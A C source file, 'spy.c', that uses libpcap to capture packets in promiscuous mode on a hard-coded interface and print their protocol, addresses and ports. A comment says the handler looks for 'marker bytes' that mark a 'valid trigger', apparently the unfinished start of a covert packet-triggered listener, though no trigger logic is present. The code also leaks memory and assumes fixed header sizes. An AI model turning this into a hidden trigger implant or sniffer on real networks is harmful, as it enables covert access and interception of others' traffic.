/*!
 * spy.c
 *
 * I just wanna feel like I'm still living.
 * - Eden "Rock & Roll"
 */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "spy.h"

//
// StartSpy():
//   Acquires a list of devices to listen on. On success,
//   attempts to bind to the interface corresponding with
//   the appropriate address.
//
int StartSpy(
  void
) {
  pcap_if_t * device_list                    = NULL;
  pcap_if_t * device                         = NULL;
  pcap_t    * device_handle                  = NULL;
  char        device_error[PCAP_ERRBUF_SIZE] = { 0 };

  if (
    pcap_findalldevs(&device_list, (char *)&device_error) == -1
  ) return 0;

  for (
    device = device_list ; device != NULL ; device = device->next
  ) {
    pcap_addr_t * address = NULL;
#if defined(DEBUG)
    printf(__FILE__ " : device %s\n", device->name);
#endif
  };

  if ( device_list != NULL )
    device = NULL; pcap_freealldevs(device_list);

  if ( ( device_handle = pcap_open_live(
    "ens33", 65536, PCAP_OPENFLAG_PROMISCUOUS, -1, (char *)&device_error
  ) ) == NULL )  {
    printf(__FILE__ " : failed to open live device\n");
    return 0;
  };

  /*if ( pcap_datalink(device_handle) != DLT_EN10MB ) {
    printf(__FILE__ " : cannot capture datalink packets\n");
    return 0;
  };*/

  if ( pcap_loop(device_handle, -1, InterceptSpy, NULL) == -1 )
    printf(__FILE__ " : error parsing incoming data from the interface\n");
  return 1;
};

//
// InterceptSpy():
//   Intercepts any incoming packets received, and parses
//   each incoming headers for marker bytes to determine
//   if its a valid trigger, or if its an benign packet.
//
void InterceptSpy(
  unsigned char * user, const struct pcap_pkthdr *hdr,
  const unsigned char * bytes
) {
  struct ether_header *eth = (struct ether_header *)bytes;
  struct iphdr *ip = (struct iphdr *)(bytes + sizeof(*eth));
  switch( ip->protocol ) {
	  case PCAP_PROTOCOL_TCP:
		  printf(__FILE__ " : TCP Packet Length %i\n", hdr->len);
		  break;
	  case PCAP_PROTOCOL_UDP: {
		  printf(__FILE__ " : UDP Packet Length %i\n", hdr->len);
		  return;
	  };
          case PCAP_PROTOCOL_ICMP: {
                  printf(__FILE__ " : ICMP Packet Length %i\n", hdr->len);
		  return;
	  };
	  default:
	          return;
  };

  struct in_addr *addr = (struct in_addr *)malloc(
	sizeof(*addr));

  memcpy((void *)addr, &ip->daddr, sizeof((*addr)));
  printf(__FILE__ " : Destination address %s\n", inet_ntoa(*addr));

  memcpy((void *)addr, &ip->saddr, sizeof((*addr)));
  printf(__FILE__ " : Source address %s\n", inet_ntoa(*addr));

  struct tcphdr *tcp   = \
	(struct tcphdr *)(bytes + sizeof(*eth) + sizeof(*ip));
  unsigned short prt   = 0;

  prt                  = ntohs(tcp->th_dport);
  printf(__FILE__ " : Desination Port %hu\n", prt);
  prt                  = ntohs(tcp->th_sport);
  printf(__FILE__ " : Source Port %hu\n", prt);
};